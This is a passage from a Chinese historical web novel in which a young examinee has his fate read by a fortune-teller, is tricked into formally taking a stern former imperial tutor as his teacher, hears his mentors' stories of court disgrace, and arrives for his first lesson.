只见白老夫人身边一层层围着人,老仆人有体面,就能近近地贴着恭维,说我们二小姐果然是会教养孩子,小小年纪竟然是案首老爷,高中时岂不是要给我们二小姐挣来一个诰命?把白老夫人逗得哈哈大笑,叫这个院子里所有人都赏两个月的月钱,阖府上下都要沾沾喜气,赏一个月的月钱。 段之缙等着仆人散去,这才上前行礼问安,又被老夫人一把拉住。 “我的儿,你有大出息,真真是了不得了!”老太太身子瘦小,只拍了拍段之缙的臂膀,说到此处,又牵动了爱女的愁肠,内心悲痛万分。 “幸得你母亲还有一个你这样的儿子,要不然她的后半生要如何,我都不敢想……”白老夫人泪眼婆娑,段之缙赶紧上前为其拭泪。 “母亲和外祖家待孙儿恩重如山,孙儿便是剖心挖腹也无以为报,定然叫母亲晚年和乐。” 一个小小的县试案首,作为淮宁巨富之家主母的白老夫人实在是看不到眼里。 她见的太多了,县试算个什么?多少天之骄子最后默默无名了? 只是她挂念着女儿,她的心肝宝贝肉,在家里的时候金尊玉贵地养着,只让她看这世上的奇珍异宝和曼舞轻歌,没吃过一天的苦。 要出嫁时,也是为她特意选了一个读书人,就算是女婿考不上举人、进士,家里也愿意出钱给他捐一个官职。 谁承想,把个好好的宝贝疙瘩填了虎狼窝去了! 现如今缙儿学问好,只要能考上秀才,便是再不能考也没关系,王家还能出钱,给他也捐一个官上去。 如今得见女儿后半生有望,白老夫人如何能不欣喜若狂?这才急匆匆地从自己的院子来到这,再好好看一看段之缙。 此时琼香终于抱着十两银子的宝贝猫,挤到了前边,刚才白老夫人听他报喜的时候就已经知道了这猫儿的来历,隆兴路上的瞎子是这有名的活神仙,只是这些不出门的小子不知道罢了,因而很是珍重那猫儿和“神仙”的批语,现在已经找了下人去隆兴路请老先生再来批一次。 她抱过那猫儿,顺了顺毛发,递给了段之缙,段之缙不知哪里出的猫儿,一头雾水的接过。 “这狸奴是名唤连科,是一路连科的好兆头,你的书童得力,竟然只花了十两银子便能得了,也是你有这个福气。我可得叮嘱好了你,把它当活祖宗伺候着,不要拿它当畜生待。” 段之缙疑道:“不知是何缘故?” 老夫人刚要解释,逢春嬷嬷打外边进来,凑在老夫人跟前耳语:“老太太,隆兴路上眼盲的算命先生已经不见了,奴婢请了咱们家惯用的原久通先生来。” 老夫人颔首,那眼盲的算命先生虽然名声大,常被叫做是活神仙,但来去无踪,因而家里惯用的先生是原久通,他的道行也十分高深,想来解一个批语是不在话下的。 “这猫儿的事儿叫你的小书童与你解释,你现在随我去正堂见原久通先生,解一解你的批语。” 批语? 段之缙把怀里的肥猫提了一提,回头看一眼凑堆儿嘀嘀咕咕的书童,怎么也琢磨不明白,就叫他二人出去看个榜,如何就算上命了? 外祖母吩咐,段之缙只好听从,刚要把猫儿放下,老太太转头一看叮嘱道:“连科也带上。”段之缙苦笑一声,把那在地上滚了一遭的猫儿又搂在怀里,跟在老太太身后去正堂。 一行人刚进正堂,便见一奇伟男子,身材高大,身着一袭宽大的青色道袍,袖口与衣襟处绣着淡淡的云纹,仿佛随时会随风飘散。 相貌也颇为独特,面容清瘦,颧骨微凸,双颊如刀削般棱角分明。眉如远山,超然物外,最奇的是须发皆白却面如中年之人。 他上前施礼:“老朽这厢有礼了。” 管家王伯赶紧扶住,白夫人也回礼:“先生客气,请坐。今日请先生来是想解一解我外孙儿的批语。”语罢,白老夫人便从袖中取出那瞎子写的批语,递给原久通。 原久通展开一看,只见上书:甲木逢申月,七杀当权而偏财透干,正印归墓却伤官吐秀。四柱金寒水冷,幸得丙火暖局,子水通源。观此命盘,如孤松立雪,自有一番傲骨峥嵘。 “这命是何人所批?” “那隆兴路的盲眼先生,大家常叫他活神仙。” “怪不得……”原久通捻一捻胡须,朝段之缙招招手,仔细看了一番他的长相,又要了生辰八字推演,半晌笑道:“命苦之人,却是造化无穷啊!这是您的亲外孙?” 白夫人一顿,解释道:“养在我女儿名下,和亲生无异。”又急问:“何以解得?” 原久通指着八字细说:“申月金气肃杀,甲木凋零,七杀庚金透出月令,如刀斧临身,主少年坎坷,多受压制。然七杀成格,绝非庸碌之辈,杀重需制化,愈是历经艰难险阻愈能成就一番大事业。” 说到此处,原久通笑着瞧一眼段之缙,“与你父亲关系不好吧?” 子不言父之过,段之缙不能做任何表示,只是垂首沉默。 不过沉默已经足以说明很多事情了。 “月干透戊土偏财,父星明现却坐杀地,父子刑克,父性急躁,不施恩义,反成你早年之劫。你没有祖业可依,还需自己求自己的前程才好。” 中了!段成平的确处事急躁,目前和将来也不会对段之缙有何助力,只能说不拖累就已经很好。 想到此处,段之缙开口:“敢问先生,我与母亲、姨娘如何?” 其实他不是很想问母亲之事,只是当着白老夫人的面,还得将王虞排在前边。 “壬水正印藏于年支辰土墓库,母星入墓,主母子情深却缘薄,慈母恐要早亡啊……然子水通源,印星暗藏生机,即便失母,也还有长辈慈爱眷养,想来该是你的母亲。” “可有破解之法!”这一段又正中施姨娘的命运,在原来的世界里,施姨娘此时已经去世了,即便是现在段之缙来了,也是心惊肉跳,从京城到淮宁这一路上不断写信问讯姨娘近况,到了安平县也是近乎日日去信,只有来信里说一切都好的时候才会放下心来。 原久通起身凑到段之缙的面上,又细细地盯着他的五官看,竟然有些惊奇:“你这个面相有些怪,该是一团雾气才对,那你生母早亡几乎无法可解,可不知为何,阴气竟然散去,倒也不用担心生母如何……”他说着,又仔细看了看,竟笑道:“你生母的福气恐还在后头呢。” 说完,原久通又转向老太太:“老夫人,您得一个好外孙啊!时柱乙木伤官透干,吐秀生辉,这是聪颖过人的命格。不过还是小心,伤官性傲,不屑俗流,你要教导他化戾气为文气,多读书上进才是正路。” “再者,申金子水,金水成势,局中寒气逼人,幸时柱丙火高照,如寒夜明灯,暖身护命。丙火为命局枢纽,无火则木朽金顽,有火方成‘杀印相生,伤官配印’之贵格。你这一路上虽然艰难险阻不断,只要能坚持住,必有贵人提携。” 这的确是一个很不错的命,老太太该问的问完了,又叫原先生看一看连科猫儿,原先生仔细打量一番,也看不出什么,只能如此作罢。 白老夫人终究是年纪大了,现在将近晌午,也有些疲惫,只叫段之缙一人去送送原先生,就在往正门走的时候,原久通突然凑到段之缙耳边问道:“与你母亲的关系不甚亲密吧?” “先生这是哪里的话,母亲慈爱,对小子恩重如山。” 原先生玩味地看一眼段之缙:“年支辰土藏乙木劫财,你母亲携财而来,虽叫你衣食丰足,然劫财夺爱,母子离心。不过我劝你多行善事,以仁孝立身,既要孝顺亲母,还要孝顺嫡母。” 又中了,段之缙无话可说,尴尬地摸了摸鼻子。 “我刚才不说,也是为了你好……还有,你伤官配印,文星耀世,但是七杀压身,初试多阻,千万不要因为名次不好而气馁,想那些捐官的路子,你这命里只能自己拼搏,绝不能依靠父祖。” 段之缙拱手道谢:“小子多谢先生教诲。” 原久通拍一拍段之缙的肩膀,最后说了一句:“为官,就要为好官,若不能为生民立命,光你一个人死就算了,恐怕还要连累家人。若是能坚守正道,你晚运走火土旺地,杀印相生至极,权倾朝野,名留青史不在话下。逝后子水通源,荫及子孙,说不定还能得天子供奉。” “你这个命虽苦,但也是难得的贵命,积德惜福,才能上报天恩。” 这些劝告和书中的事情一一对应。 初试多阻,原身第一次要考试时,丧母守孝。 不积德惜福,连累家人,原身为二皇子在地方做了一些脏事,果然弄得个家破人亡。 不管这个原先生是怎么回事,段之缙也为他能劝诫鼓励自己心怀感念,郑重一拜,亲自扶着先生上了马车。【你现在阅读的是 】 30、第三十章 强行拜师 送走了原先生,段之缙又回到院子内,先问候祖母的身体,才带着两个书童回到自己的住处。 现在尘埃落定,自己竟然能得中案首,倒真是出乎意料了,因而展纸写信,将近来的情况传回京城。 写着写着,刚才还安分着的连科一下子蹦上案,灰扑扑的毛发盖在纸上,弄得脏污一团。 “这是怎么了?”段之缙摸摸它的毛,又沾了一手灰,也不嫌弃,好好搔了搔猫儿的下巴,又揉了揉肚子,这才叫丫头把它抱下去洗洗,另起一张纸重写。 一边写字,一边问道:“那猫儿是怎么回事?” 两个书童你抢我我抢你地答了,最后竖着大拇指赞一声:“真是活神仙!” 段之缙失笑,“你们那荷包里装着多少银子?” “十两银子,都在那荷包里呐!二爷您猜怎么着,幸好有十两银子,不然连科可就带不回来了!”王章兴高采烈,失了赏钱也开心得很。 段之缙倒是不再说话,他对着原先生半信半疑,是因他真说中了原书中的事情,可瞎子神仙没有说一句话,是真有些道行还是骗术高超还未可知。 最重要的是,在段之缙看来,这两个人一上来便自报家门,说出了他俩是要看县试榜的,人家猜及冠与未冠也不过是概率问题。 琼香不会撒谎,算命的又一贯会揣摩人心,听着琼香故作声势的话,便能够断定自己猜对了。 至于什么“从南到北,又从北到南”的说法,更是简单,自己在安平县试,籍贯定然在南方,王章又说得一口流利的京话,和说南话的琼香格格不入,自然而然便能想到是主人家从北方带来的。 这岂不就是从南到北再到南? 也许就是瞎猫碰上死耗子罢了。 不过虽是这么猜的,段之缙却没必要说出来,叫两个书童伤心。 等着手下的信写好,详说了王家外祖的近况,身子骨如何,施家外公并一个亲舅舅去了南方走商,连外祖母也跟着去。又宽慰沈白蘋,杨家舅舅近况还好,自己府试之后还会再去拜访,最后才说自己县试已过,竟然是未冠题的案首。 将信细致地叠好,又吩咐人把那上元节得的流光溢彩的花灯包好,一块儿送到京里去,自己再歇上一天,明日便要开始准备四月中旬的府试了。 他这么美滋滋地想着,把刚才看的《七侠五义》展开,刚要沉溺其中,便听得秦先生那大嗓门嗷嗷地喊。 “缙儿!段之缙!快跟先生出来,今天咱们一块儿去望星楼庆贺一番!” 然后砰的一声,门就大敞开,秦先生瘦削的脸笑得眼都挤没了。 “真是我教出来的好学生,没丢份!” 段之缙瞅瞅手里的书,明天又要上课,今儿再出去应酬自己可受不了,婉转回绝:“先生,只是过了县试而已,倒也不必如此,不如等着府试也过了再去庆贺。” 秦先生可不依,他朝着段之缙后背一拍,假嗔道:“偏你整天闷在屋子里,闷的脑子都不灵光了……不是想知道先生的身份吗?出来吃饭就告诉你。” 这下段之缙可不能拒绝了,把手里的书一合就要跟着先生走,又被先生回头望一眼,狐疑道:“你带钱了没有?” “没有。” 秦先生啧了一声,“你不会想要为师付钱吧?” 段之缙恍然大悟,从床头的小匣子里拿出了一张五十两的银票,却又听得秦先生啧了一声。 “扣扣嗖嗖的……拿一百两!” 一百两银子!望星楼还卖龙肝凤髓吗? 段之缙虽不解其意,还是老老实实地揣上银子,跟着秦先生上马车。 如今都已经三月多了,天渐暖,外边还有一些不碍事的小雨,丝丝绵绵的,落在人身上仿佛一层薄雾,觉察不到什么。 听着街道两旁熙熙攘攘的商贩叫卖声,段之缙有些好奇,刚要掀开帘子看,又被先生的话钓去了精神。 “今天说是去庆祝,实则是为了叫你拜一个新老师。” 啊? “可是先生,您不就是我的老师吗?” 秦先生道:“我自然是你的老师,可今儿我要再为你找一个更强的。李显光不是已经跟你说了,知府陈望祖喜爱鞭辟入里之论吗?今日给你找的这个先生,极为了不得,他在十几年前便能不靠排偶得中二甲传胪。” 二甲传胪就是殿试的第四名,排在探花之后。 在十几年前就能不靠修饰辞藻名列二甲传胪,不知能写得何等的雄文。 可段之缙却有些担心:“先生,这样的人物,能愿意教导学生吗?” 秦先生神秘一笑:“你就瞧着吧,大家都是老熟人了,我把孩子带过去亲自求,他怎么还好意思不收!” 车声粼粼,终于停到了望星楼前,门口两个招待客人的童子立时上前,扶着秦先生和段之缙下车,又垂首问道:“敢问客官是几位?” “一共五位,我们已经订好了穿月堂。” 小童便带着二人上楼去,正是那熟悉的穿月堂。 段之缙上前为先生开门,可门一打开就见两张熟悉的面庞,倒把他惊得忘了为先生让路。 不是县令李显光和郑崑瑛是谁? “别在这挡着碍事,叫为师先进去。” 段之缙便闪身让开,秦先生大步踏入,一把搂住了李显光,又大笑着捶了他一拳。 “知县大人,你好难约啊!偏偏今日才有空?” 李显光一拳捣回去,笑着回:“你倒是无官一身轻了,我刚放出来榜,就农忙了,这田间地头我还能不去?” 郑崑瑛对着秦先生拱手施礼,也跟着解释:“我们大人上午刚从田里回来,马不停蹄就来了这望星楼。” “你是他的师爷,你自然是向着他。” 秦先生假嗔一句,回头招招手把段之缙唤过来:“问声好吧。” 然后又朝着李显光挤眉弄眼,“你不陌生吧?故意压着人家的名字不放榜,专门站人家身后看卷子,还用他给你磕头吗?” 本朝的规矩,秀才老爷才将有资格见官不跪,因此段之缙见到李显光,按理应当下拜。 可秦慎之都这般说了,李显光还能怎样,讪笑一声:“我这是害怕他跟着你有样学样,见自己榜上有名便不来考试了。既然你说不跪,那便不跪。” 因而段之缙只上前行拱手礼,口称大人,又朝着郑崑瑛笑道:“郑兄,我们又见面了。” 郑崑瑛也回施一礼。 四个人围桌而坐,一个小童手捧托盘推门而入,盘中是一身望星楼伙计的衣裳。 他朝秦先生道:“客官,您昨日吩咐的衣裳已经准备好了。”说着,又扫了一眼段之缙与郑崑瑛二人,“是叫哪一位少爷更换?” 正喝茶的秦慎之拍拍段之缙的肩膀,将手里的茶杯放下,“缙儿,跟着这小童去把衣裳换了。” 段之缙摸不着头脑:“这是为何?” 秦先生捻着自己的胡须凑到段之缙耳边说了一通,直把段之缙说得面红耳赤。 “这……这不好吧……” “哎,为师求了他甚久,现在也只好霸王硬上弓了。叫他教你两个月,最起码,一路中秀才没问题。” 段之缙仍在犹豫:“可是这也太……” “别可是了!为师和他也是至交好友,他就是懒得慌,不愿意教学生,今年破例收了郑崑瑛,说什么也得把你收了!” 秦先生都如此说了,段之缙也只能听命,跟小童一块出门换衣裳,又在那酒楼内间学习侍奉茶水的技艺,就等着倒霉的先生自己送上门。 日头渐落了,已经学得心烦气躁的段之缙才听到有人来唤,他默念了一番泡茶的步骤,抬着紫檀木盘进了穿月堂。 里边果然多了一个中年男子,眉间三道竖纹,很不好亲近。 段之缙走进门站定在桌前,执起青瓷盖碗时,手腕还微微发着颤,原因无他,今天倒了一下午的水,到现在已经精疲力竭。 默念着“温杯需顺时针转三圈”,执铜壶倾斜,沸水撞在杯壁,待茶具都温热了,将水一齐泼到茶盘中。 再放入武夷红茶,用了温度稍低的水冲洗,再次倒出,红茶特有的松烟香便在穿月堂弥漫开来。 最后一注水,不过一呼吸的时间,茶汤已经下色,再泡便要出苦味了,段之缙忍着烫把茶水分别倒在四只小茶碗中,呈给在座的四人。 段之缙按照秦先生的吩咐,将最后一杯茶呈给生面孔,憋得脸红脖子粗,被秦先生瞪着才开口道:“先生,请用茶。” 中年人不疑有他,先轻轻嗅了一番,嫌弃道:“怎么叫你这样的生手来泡上好的武夷红茶?白浪费了这样的茶叶。”然后试探着浅嘬了一口。 段之缙当即跪下磕头,赤红着脸大声喊道:“多谢先生收下学生!”倒吓得那中年人一个哆嗦。 “哈哈哈……” 秦慎之和李显光二人对笑,郑崑瑛这个知情人也别过面去偷笑,段之缙恨不得找个地缝钻进去,那中年人还懵着不知发生了什么事。 “蒋育成!你今天喝了我这学生的拜师茶,又受了他的头,总不能再推辞了吧!” 中年人,也就是蒋育成先生这才恍然大悟,感情这饭是专为请他的! “你们这些浑人!这教学生还有强买强卖的?”他嘴上怒气冲冲,心里却也觉得好笑。 “我说呢,一个俸禄养活自己都不够的七品官,一个一毛不拔的铁公鸡,怎么就为了德润拜师的事情专门请客了,感情是在这等着我呢!” 表字德润的郑崑瑛见蒋育成先生视线移到他这里,忙收敛表情,一派正经了起来。 蒋育成说完又转向脸皮薄的段之缙,睨了他一眼,说道:“快起来吧,我茶也喝了,头也受了,也稍松一松口。” 段之缙又深深下拜,喜道:“多谢先生!” 蒋育成却“哎”了一声,“事儿还没完呢,郑崑瑛的水平我是深知的,这才收下了他。不收你,一则多一人不如少一人,二则,虽你外祖救过我,可你父亲的大名我也知道……不过现在这两个浑人都这般了,又叫你这样的小孩子亲自来求,我脸皮薄,不好意思为难你……只要我问的你能答上来,我就收下你,如何?”【你现在阅读的是 】 30-40 第31章 031秦先生当年是如何在宫门前打架…… 通过捐纳做官,在本朝也是常事,出过不少能臣干将,蒋育成并不歧视他们,可段成平这样软饭硬吃还要杀妻另娶的实在令人不齿,即便段之缙是救命恩人的外孙,他也不想收下。 不过慎之兄这位活宝都如此了,他也不好再推辞,只先考察一番,若是蠢材庸人,便是再勤学苦练他也不要。 段之缙笑道:“今日本就是学生失礼在先,若是达不到先生的要求,学生也无面目让先生收下。” 蒋育成见他通情达理,倒比旁边坐着看笑话的两个酒友更可亲,吩咐他坐在自己对面。 “我问你,《大学》首章中的‘致知在格物’,依朱子之解,何谓‘格物’?” 段之缙答道:“朱子云:‘格,至也;物,犹事也。’格物者,穷究事物之理,以求至其极。研草木,需究其荣枯之性;察人伦,必明其仁义之本。如此积习既久,方能豁然贯通,达乎天理。” 解到如此,格物学之奥妙基本已经答出,照他的年纪已经实属不错。 蒋育成轻笑一声,“中等。你的基本功不错,只是以此为文,顶多叫主考们提提神,却达不到眼前一亮的程度。” “请先生指教。” 先生把玩着手里莹润的小白瓷茶盏,稍想了片刻回道:“你论格物,就不能单单讲格物,更要讲‘理一分殊’,‘格物’非仅逐物而穷,亦需悟得万物一理之妙。譬如镜中万象虽殊,其体唯一。除了排偶,也只有这样的文章能动人心。” 理一分殊,这个理论段之缙是知道的,朱熹认为天下万物都只有一个“理”,这个“理”又分化,形成无数的“规则”。 格物就是要通过穷究其物,感知其规则,最后要达到唯一的“理”。 而“理”,就是上尊下卑,君臣父子。 统治集团能不爱看吗? 段之缙颔首称是,蒋育成又问道:“‘喜怒哀乐之未发,谓之中’,还是依朱子之见,解此题。” 段之缙沉思片刻:“朱子谓‘中者,不偏不倚,无过不及之名’。喜怒哀乐未发时,心体寂然,如明镜止水,这就是天命之性。及至发而皆中节,便是‘和’,乃天理流行之态。” 这一问,是儒家的中和思想,要求保持内心的平静,不要让喜怒哀乐流于表面,即便是流于表面,也不要表露太过。 中、和二字,就是人之理。 听此一解,蒋育成目露赞许:“善!然你可知朱子为何特重‘未发’工夫?‘静中存养’乃体认天理之根基,譬如种树先固其根,若只求‘发而中节’,便是舍本逐末。” 讲到这里,蒋育成忽然朝着秦慎之刁钻一笑,又转过头问段之缙道:“若以‘格物’之理反观‘未发之中’,二者如何贯通?” 这个题真是上难度了,理一分殊既是宇宙观又是等级观念,中和说却是哲学观,将二者联系起来,可不是一件容易的事情。 听蒋育成如此刁难学生,秦慎之眉毛一挑就要讽他,却被李显光拦下,“先听听段之缙怎么说。” 幸好段之缙也不是一般的学生,历代的哲学史和政治史没少听,蹙着眉头细想一番,镇定开口。 “学生愚见,朱子的学问,一向是以理贯通。‘格物’是向外寻求天下至理,‘未发之中’则是从人之本心寻求天下至理,所求之物都是一样的。向内向外,内外交修,这样才能寻到真‘理’。譬如月亮照映万千河流,哪一条河流中没有月亮?可真的月亮是唯一的,正如‘理’也是唯一的。” 三个中年男子面面相觑,郑崑瑛垂首沉思,然后恍然大悟。 蒋育成眼皮子一夹秦慎之,问道:“你不是叫我指导他如何考府试的吧?你是来叫我指导他如何中举!” 秦慎之得意一笑:“哪里哪里,都是我教的好……不过嘛,他排偶写得叫人恶心,这才想着拜你为师,指导一番。” “的确是有几分灵慧在身上。”蒋育成素来喜爱聪明伶俐、悟性极高的孩子,破例收下郑崑瑛便是如此。 “不过……”他拖着长长的腔子,“我一向坚信‘吃得苦中苦,方为人上人’,你要是拜我为师,那可有的苦头吃了。” 还不等段之缙回答,秦慎之先笑道:“那你放心,我这学生别的长处没有,吃苦不在话下。” 蒋育成一撇嘴,只跟段之缙说话,“我可不跟别的先生一般,开个小差咳一声就过了,只要是叫我抓到,便记打三板!” 秦慎之拿烟斗捅一捅段之缙:“你也是有福气了,说不定这板子还打过皇子哩!” 这话从何说起? 李显光接道:“你这个新先生可是了不得的人物,崇德元年恩科,二甲第一名,那时候殿试可不如现在这般只出一道策问,还要写时文。皇上新登基,见他文章做的好,先叫他做了翰林编修,又让他去上书房伺候皇子读书,没两年便成了上书房的师傅,正式为十一皇子授课,官职也是一路亨通。” 段之缙听到此处,心下疑惑,既然仕途如此顺利,为何又回到了江南? 蒋育成听人 吹捧自己,连连摆手:“好汉不提当年勇,我现在想想都悔得慌,何必去考那劳什子试,做那劳什子官?上书房教导皇嗣的地方,都有性烈好妒之辈,我这个脾气受不了。” 秦慎之听得拍桌大笑:“你那个脾气也鲜有人受得了!你说他们龙子凤孙,师傅都宝贝着呢,如何十一皇子有一个字写得不工整都要记打三板?其他的师傅能不告状吗?” “我是师傅,教导学生是望他成人成才,便是皇子又如何?且正因他是皇子,以后要参与朝政,更应该严加管束,要不然为祸一方都是轻的。” 可皇帝却舍不得,一向是皇子背不出书打师傅,如今儿子叫一小小翰林打了手板,如何愿意?斥责了蒋育成一顿,可终究因蒋育成是难得的饱学之士而未加惩罚。 可是这就像是一个提醒,那些嫉妒年轻人的老一辈天天盯着蒋育成,没事儿就去蒋育成授课的地方遛一遛,看看这个不知天高地厚的小子有没有再碰着那天潢贵胄。 蒋育成也不是死脑筋,自上次遭斥便不对十一皇子那样严格,只有他真调皮捣蛋了才打手板。 只是没想到,这都不许。 蒋育成又遭了一次申斥。 这书教的还有什么意思?干脆回家算了。 皇帝也因他屡教不改而气恼,不是要回乡吗?准! 蒋育成也不拖延,收拾好东西就回了淮宁。 事情的经过竟然是这般…… 说完了蒋育成先生的经历,段之缙对秦先生的更好奇了,问道:“先生是否忘记了些事情?” 秦先生失笑:“你啊,整天催着这点事儿问来问去的,今日为师和盘托出。” “我和县令同是顺天府人,既是同年又是挚友,崇德三年的进士,县令是二甲,我是三甲,比不得他。” 李显光嚇然,谦虚道:“侥幸罢了,还是才俊兄更为厉害。”这才俊就是蒋育成的表字。 秦慎之瞅他一眼,接着道:“没想夸你。我为官可比你强多了。你还在翰林院做庶吉士的时候,我就破例出任刑部江泉司的主事了,没过多久改任三川司的员外郎,你自己说说,还有旁人升官比我快吗?” “是是是……”李显光不断点头,跟段之缙说道:“你先生秉公持正,谁人不敬服?”然后又朝着秦慎之眨眨眼,“可惜可惜,谁叫你倒霉,不畏权贵到了皇太子的身上。” 秦慎之想起这件事便气得闷头一口茶灌下去,李显光捡起刚才的话茬接着讲:“太子也无什么大错,只是身边总有宵小,他难以管束,门下的徐九宜任三川省巡抚时竟然受贿,并公然在咨文上造假,弄出了不少冤假错案,这自然逃不过慎之兄的法眼了。” “只不过当时圣上投鼠忌器,不愿意处置了徐九宜叫太子的名声受损,指示刑部大事化小,小事化了。慎之兄自然不愿意,不断上奏却被痛骂是沽名钓誉、自视甚高,甚至发了上谕昭告群臣。” 秦慎之是深知的,那些买命钱归根到底是从底层人身上往下榨,不知是多少老人的棺材本,也不知是多少男女的卖身钱。 段之缙捏紧了手中的杯子,能如此为官,便是图名又如何?先生一心为民却被皇帝公开辱骂沽名钓誉…… 那时先生该是什么心情? 段之缙忍不住有些怜惜地看向秦先生,被后者扭曲着脸一巴掌拍到后背上。 “你这是什么眼神?!为师还用得着你可怜?!那时候我还年轻,心里憋着一股气,直接和进京的徐九宜在乾清宫门口打了起来。” 说到此处,他甚是骄傲,“徐九宜怎么好意思的,白长那么大的个儿,绣花枕头一个,叫为师打得窜鼻血。他还是山东人嘞!叫我顺天府人打的……啧啧啧。” …… 段之缙目瞪口呆,哑口无言,甚至觉得离秦先生太近有些危险。 孔子说以德服人,难不成真是有一把剑叫“德”? 秦先生说到激动之处,恨不得当场给段之缙演示一番,他是如何三拳两脚就把徐九宜揍得叫娘,又被两个好友拉着坐下,叫他安分些。 李显光嗔他:“你还当是什么好事呢!你打完了徐九宜,他进了乾清宫一顿哭,圣上召见你时,人家鼻血都止不住,你还在那脸红脖子粗的,活该赏你三十鞭子,革了你的官职!” 秦先生叫他一盆冷水泼的,尴尬地摸摸鼻子,哂笑道:“全是我的错,累得你为我求情,却因此触怒了圣上,一路往南贬,到了淮宁。” 他这时候安静下来,闷头喝茶水,刚才那些手舞足蹈都像是虚张声势,像是特意跟人家说:“哎呀,别担忧,我还好得很呢,这种事打不倒我。” 实则,他心里愧疚的很,因为连累了李显光。 李显光是有能耐的人,他到了哪一个地方,哪一个地方就百姓安乐、政治清明,可因为见罪于上,淮宁省各县的县令都要做遍了,也没能再往上升升。 那些上官也把他当拉磨的驴子,哪个地方民怨沸腾就上奏把他调过来,治好了再走。 为此,秦慎之每年年底便撇家舍业地来淮宁,就为见一见这老友。 也就是这些年才结识了蒋育成,三个人同病相怜,一见如故,结成“狐朋狗友”,每年秦慎之南下便凑成一堆儿来望星楼里喝酒。 只是蒋育成看来,今年这酒却实在没有意思,先是稀里糊涂给自己安排个学生,又说那些陈年往事。 他眉间的川字纹深深陷下去,拍了拍桌子闷声道:“说这些没用的,还喝不喝酒了?今天收了新学生,怎么也得叫我喝两杯吧?” 秦慎之也打起了精神招来酒楼的伙计,要点菜。 一直闹到了夜深,秦慎之喝得酩酊大醉,县令大人和蒋育成先生不过浅酌两口,段之缙二人因第二日要上课,滴酒不沾。 最后结账的时候,算上下午浪费的那些好茶叶和城北运来的礼泉水,又算上秦先生喝的那些陈年老酒,差不多正是一百两银子。 终于闹腾完了,段之缙扶着酒气冲天的秦先生上马车,又用手垫在先生倚着马车的脑袋上,减轻震动,怕太晃叫先生吐出来,然后自己也靠在马车上,闭目养神。 突然,秦先生有些滞涩的声音响起来,他问:“你知道为师的名讳吗?” “先生尊讳不是‘慎之’吗?” “哦……我一直跟你说的‘慎之’吗?”他醉得有些糊涂了,已然忘了在上课的第一天便跟段之缙说“为师姓秦,讳‘慎之’”。还叫人家不要再忘了先生的名字。 他不叫秦慎之。 “为师姓秦,讳‘行’,字‘慎之’。”他压着嗓子,终于把话都挤了出来。 “行”,是他的父亲取得名字,教诲他“但行好事,莫问前程”。 可理想倾塌得太快,若是只压住了自己便罢,还连累了挚友。 他终于学会了圆滑,跟各路人马虚与委蛇,又给自己改了表字,为“慎之”,也只以“秦慎之”示人,告诫自己时时刻刻记住,慎之又慎。 秦先生说完,已经醉死了过去,人事不知,独留下清醒的段之缙心如擂鼓。 顺天府人秦行?! 如果段之缙没有记错,先生也不是重名的话,秦行可是新朝的重臣,从刑部山东清吏司员外郎一路做到了文华殿大学士兼刑部尚书,死后加少保,谥文端。 而秦行正是在崇德年间被革职,新帝登基时被起复,其根源就在于当年乾清门斗殴,才十八岁的四皇子就在旁边看,还是他叫人把两位朝廷命官拉开了。 四皇子纪禅生性古怪,做事一点情面都不讲,可最敬佩这种刚正不阿、一心为民的人,这也是他第一回见有人敢在父 皇理政的宫门口打架斗殴,给未及冠的青年人留下了极为深刻的印象,这一记就是将近二十年,登基后先把秦行找了回来。 若秦行是段之缙的先生,当年不肯救他一救,想必也是为这个走上了歪路的学生心寒。 做老师的,为民请命不惜被公开辱骂,又被革职,沥尽心血却教出来一个刮地皮的学生…… 他该多伤心呢? 不过如果秦先生是秦行,那么李显光李县令就应当是那个猝死在任上的县令,时隔多年,还是秦先生这个好友跟新皇陈情,李显光之大名才扬于四海。 只是蒋先生竟再没回去做官吗? …… …… 第二日一早,段之缙特意吩咐了王章给他找件普通的衣裳,既不要那些金银暗线,也不要那些珍奇布料。 “普通乡绅穿的灰白绸袍即可,要朴素些。” 王章按吩咐给二爷换上衣裳,琼香拿着玉佩荷包就要往他身上挂,反被制止。 琼香问道:“爷们出门,也该装点一番,更能显得尊重先生。” 段之缙拍拍他的肩膀,“郑兄家境贫寒些,我不能超他太过,也不能显得过于简朴,叫他心里生疙瘩。再说了,我是去上课的,带那些荷包玉佩又有何用,该带的东西放书箱中即可。” 收拾利索了身上,段之缙登上马车,在天还蒙蒙亮着的时候就到了蒋先生家门口,琼香跳下马车敲门,不一会儿,一位老伯的声音便隔着大门传出来。 “您是?” “我们少爷是蒋先生新收的学生,今日头一天上课,望您通禀一声。” 老伯恍然大悟:“是段少爷吗?” 段之缙此时也下了马车,隔着那道木门回道:“在下段之缙,今日来先生家中上课。” “原来是您啊,老爷都吩咐过了,直接进来即可。”喃喃说着,里边传来木栓抽动的声音,大门吱嘎一声被拉开,老伯便让他们进来,又一跛一跛地引着他们往授书的地方去。 “老先生,烦你为我们指一条路,我们自己去即可。”段之缙瞧他走路不甚灵便,不忍心麻烦他一场。 老伯却笑着回:“不敢称先生,我原不过是一个老乞丐,幸得蒋老爷收留,留我做一个门房人,这才捡回来一条命,少爷您叫我老陶就行。老爷最爱些稀奇景致,庭院里九曲十八弯,非得叫我引着走一遍才行。” 既然如此,也只能麻烦老人家,段之缙和琼香一左一右扶着陶伯,按照他的指示往庭院深处走,王章则背着书箱跟在后边。 陶伯年纪属实是很大了,才不久送过了郑崑瑛,现在又送段之缙,实在费力,可还喜滋滋地跟段之缙说话:“读书人,心肠都好着呢,刚才那位郑少爷也是,见我腿脚不灵便,也是说要自己去,然后又搀着我,直到了门口。老朽本想自己回门房,结果郑少爷说他已经记住了,把书箱放下,硬是把老朽扶了回去。” 他说完,歇一口气,指着前边的那月亮门道:“前边那一个门就是,您自己进去吧。” 段之缙叫两个书童先把老伯搀扶回去,自己接过王章背上的书箱独自进门。 这月亮门内别有洞天,院子竟然十分广大,刚一踏入,两个红衣小童便迎了上来。 他们一般的身高,头上两个小髻子,腮圆鼓鼓地突出,许是刚才跑闹,俱是一团红润浮在脸上,似年画娃娃一样叫人喜欢。 稍瘦一些的问道:“是我们老爷的学生段之缙吗?” 段之缙答是。 “我们老爷嘱咐你,这一趟路,只有今日叫我俩来引,一定要好好记!” 稍胖一点的娃娃跟着应和:“好好记!” 然后他俩手拉着手往前走,段之缙哭笑不得地跟在后边。 平整的青石路走了没多久,一座人工堆出的小石丘赫然伫立,石上用篆体刻着“书山”二字,又留有一羊肠小径直通山丘上,旁边是一扇仅供一人通过的窄门,紧紧锁着。 